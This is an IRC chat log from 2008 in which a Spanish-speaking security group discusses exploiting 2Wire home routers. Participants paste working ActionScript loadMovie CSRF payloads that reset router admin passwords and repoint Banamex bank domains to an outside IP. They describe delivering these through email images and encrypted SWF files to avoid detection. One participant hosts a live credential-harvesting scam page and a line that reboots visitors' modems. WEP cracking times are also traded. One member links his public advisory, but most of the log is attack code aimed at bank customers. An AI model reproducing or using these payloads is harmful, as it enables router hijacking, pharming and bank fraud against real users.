---------------------------------------------------------------------[ hack modem/router 2WIRE ]------------------------------------------------------------
13-12-08 - servidor irc: irc.zonartm.org #rtm -------------------------------------------------------------------------------------- www.zonartm.org
(06:18:32) jimtron: Ok empezemos
(06:18:38) root3d: vendetta ahora te paso el code de hosts y dns
(06:18:44) root3d: (siga jim)
(06:18:50) jimtron: yo no se mucho de esto hack pero lo k e aprendido
(06:18:57) jimtron: es una gran vulnerabilidad
(06:19:05) jimtron: k hay o habia en los 2wire
(06:19:13) hkm: habia
(06:19:24) jimtron: pues todavia tengo algunos infectados
(06:19:42) jimtron: Este era un codigo que
(06:19:56) jimtron: alteraba la tabla dns-ip
(06:20:00) jimtron: del modem
(06:20:12) jimtron: pues no solo a la pc
(06:20:28) jimtron: si no a todas las computadoras que estuvieran conectadas en red?
(06:20:50) jimtron: pues el modem es como si trajera sus propios archivos host
(06:20:56) jimtron: esto era grave
(06:21:10) jimtron: pues con el simple echo de leer un email kedabas
(06:21:13) jimtron: infectado pues
(06:21:39) jimtron: ejecutaba unas lineas por medio de un post data si no me equivoco agregaba
(06:21:44) jimtron: esta info al modem
(06:21:56) jimtron: era tan facil esto como poner una imagen en un correo
(06:22:03) jimtron: y mas por k la victima no se daba cuenta
(06:22:18) jimtron: podias utilizar ing.social
(06:22:31) jimtron: e hacer que la victima leyera el correo y se infectaba.
(06:22:48) jimtron: es mas podemos probar si todavia es vulnerable o no si ustedes gustan
(06:22:56) jimtron: miren aki un scam
(06:23:09) jimtron: montado sobre mi pc
(06:23:16) jimtron: tiene muchos limitantes
(06:23:24) jimtron: http://189.174.123.215/
(06:23:34) jimtron: inventen algunos datos
(06:23:46) jimtron: y los pass
(06:23:57) jimtron: los pueden ver aki
(06:23:57) jimtron: http://189.174.123.215/jimtronic1992.txt
(06:24:10) jimtron: esto es un simple scam para fines educativos
(06:24:20) jimtron: no trato de fomentar el fraude ni nada por el estilo
(06:24:26) jimtron: es tan simple
(06:24:47) jimtron: Asi que si gustan les paso una web
(06:24:49) jimtron: para probar
(06:24:55) jimtron: si es vulnerable o no
(06:24:56) jimtron: existe un codigo que al ejecutarlo
(06:25:06) root3d: espero que estos temas se sigan profundizando
(06:25:24) jimtron: reinicia tu modem
(06:25:49) root3d: jimtron con tu permiso
(06:25:52) jimtron: aja
(06:25:54) root3d: espero no haga flood
(06:26:01) root3d: para los 2wire
(06:26:02) root3d: ------------------------------------------------
(06:26:02) root3d: Botar Pass
(06:26:02) root3d: ------------------------------------------------
(06:26:02) root3d: loadMovie("http://home/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=admin", "");
(06:26:02) root3d: loadMovie("http://gateway.2wire.net/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=admin", "");
(06:26:02) root3d: loadMovie("http://192.168.1.254/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=admin", "");
(06:26:10) root3d: ------------------------------------------------
(06:26:10) root3d: Para infectar
(06:26:10) root3d: ------------------------------------------------
(06:26:10) root3d: loadMovie("http://home/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com&ADDR=75.127.85.131", "");
(06:26:10) root3d: loadMovie("http://home/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com.mx&ADDR=75.127.85.131", "");
(06:26:11) root3d: loadMovie("http://home/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=banamex.com&ADDR=75.127.85.131", "");
(06:26:11) root3d: loadMovie("http://home/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=banamex.com.mx&ADDR=75.127.85.131", "");
(06:26:14) root3d: loadMovie("http://gateway.2wire.net/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com&ADDR=75.127.85.131", "");
(06:26:16) root3d: loadMovie("http://gateway.2wire.net/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com.mx&ADDR=75.127.85.131", "");
(06:26:19) root3d: loadMovie("http://gateway.2wire.net/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=banamex.com&ADDR=75.127.85.131", "");
(06:26:19) root3d: loadMovie("http://gateway.2wire.net/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=banamex.com.mx&ADDR=75.127.85.131", "");
(06:26:22) root3d: loadMovie("http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com&ADDR=75.127.85.131", "");
(06:26:23) root3d: loadMovie("http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com.mx&ADDR=75.127.85.131", "");
(06:26:25) root3d: loadMovie("http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=banamex.com&ADDR=75.127.85.131", "");
(06:26:28) root3d: loadMovie("http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=banamex.com.mx&ADDR=75.127.85.131", "");
(06:26:29) root3d: espero se entienda
(06:26:31) root3d: eso puede ir en un action script de un SWF
(06:26:36) jimtron: sip
(06:26:39) nitr0us: root3d: en perú también el 2wire es el modem más usado ??
(06:27:07) root3d: normalmente aki cuando habia empezado el fraude usaban IE6
(06:27:17) root3d: y como se sabe habia un bug para ejecutar un exe
(06:27:21) root3d: desde html
(06:27:22) root3d: :)
(06:28:24) hkm: si lo abres con un hex el swf se veria asi http://www.hakim.ws/2wire/2wireswfauthbypass.jpg
(06:28:56) jimtron: miren
(06:29:03) root3d: un segundo jim
(06:29:23) root3d: si metes el codigo en un swf y encriptas la linea de los action script
(06:29:25) root3d: no vas a ver ni shit :$
(06:29:32) hkm: eso esta bueno xD
(06:29:37) root3d: =) weno sigue jim :$
(06:29:49) jimtron: los k kieran probar si su modem es vulnerable, pueden entrar otravez http://189.174.123.215
(06:29:52) jimtron: puse una linea k reinicia los modems
(06:30:01) jimtron: asi k si kieren k se vaya su inter
(06:30:12) jimtron: adelante prueben
(06:30:40) jimtron: y ahi modems todavia con este fallo que no se an actualizado
(06:30:46) jimtron: asi k kuidado
(06:31:01) jimtron: es algo peligros esto tiene mas de 1 a?o si no es k mas
(06:31:03) jimtron: y aun asi ahi uno k otro k es vul
(06:31:23) jimtron: es todo por mi parte vendetta
(06:31:29) hkm: yo tengo algo que agregar
(06:31:45) hkm: en realidad 2wire es mi tema :P me gusta mucho haxorear ruteadores
(06:32:10) hkm: pueden ver el advisory original del DNS en http://www.hakim.ws/textos/2wirexsrf.txt y un video en http://www.hakim.ws/2wire/csrf.html
(06:32:18) hkm: Lo hice publico en Agosto del a~o pasado: http://www.securityfocus.com/archive/1/476595
(06:32:26) hkm: incluso, si bajan la Guia para proteccion contra esto de Telmex:
(06:32:26) hkm:
http://www.telmex.com/mx/asistencia/pdf/Borrar_tabla_DNS.pdf?a=Borrar_tabla_DNS.pdf pueden ver un ejemplo conocido XD
(06:33:02) hkm: hay varias vulns de los 2wire que siguen sin parchar, pero las mas parchadas son la de los DNS y la de cambio de password de admin
(06:33:18) hkm: pero hay muchas no parchadas como chingosss de DoS y la del url magico
(06:33:58) crypkey: ?PREGUNTAS?
(06:34:16) root3d: vendetta reparte los srcs ke te pase
(06:34:22) vendetta: ah! si
(06:34:24) root3d: para ke lean el codigo y entiendan como funciona
(06:34:33) vendetta: los subire en un rato mas a la web en la parte de code & files
(06:34:34) crypkey: vendetta, subelos y postea url.
(06:34:35) cristian: el tema del 2wire creo que no terminara
(06:34:36) crypkey: Eip eip.
(06:34:44) vendetta: haber... /me subiendo...
(06:34:44) cristian: por que los nuevos siguen utilizando WEP
(06:35:02) cristian: y como todos ustedes saben WEP en 10 minutos se puede decifrar
(06:35:12) crypkey: cristian, menos ;p
(06:35:21) jimtron: en 5
(06:35:26) cristian: y peor aun, la clabe WEP es la clabe para el modem
(06:35:27) crypkey: 40 secs para mi
(06:35:32) jimtron: con la aspire one :=)
(06:35:33) cristian: ok ok menos..
(06:35:33) hkm: 39 yo :P
(06:35:40) crypkey: hkm, puto ='(
(06:36:08) root3d: espero ke esta charla haya sido del agrado de todo
(06:36:12) jimtron: pero es k depende la distancia
(06:36:12) jimtron: y la se?al del modem
(06:36:13) cristian: depende mucho de la distancia del AP
(06:36:13) cristian: si el AP esta lejos sera mas dificil capturar paquetes..
(06:36:37) vendetta: nitr0us: xD... pss... andan en la conclusion.. ya alistate para tus tricks...
(06:36:44) crypkey: nitr0us, tu sigue mamando.. no hay pedo yo te digo despues
(06:37:20) vendetta: xDDDDDD
Road Technology Minds Security Group - 2008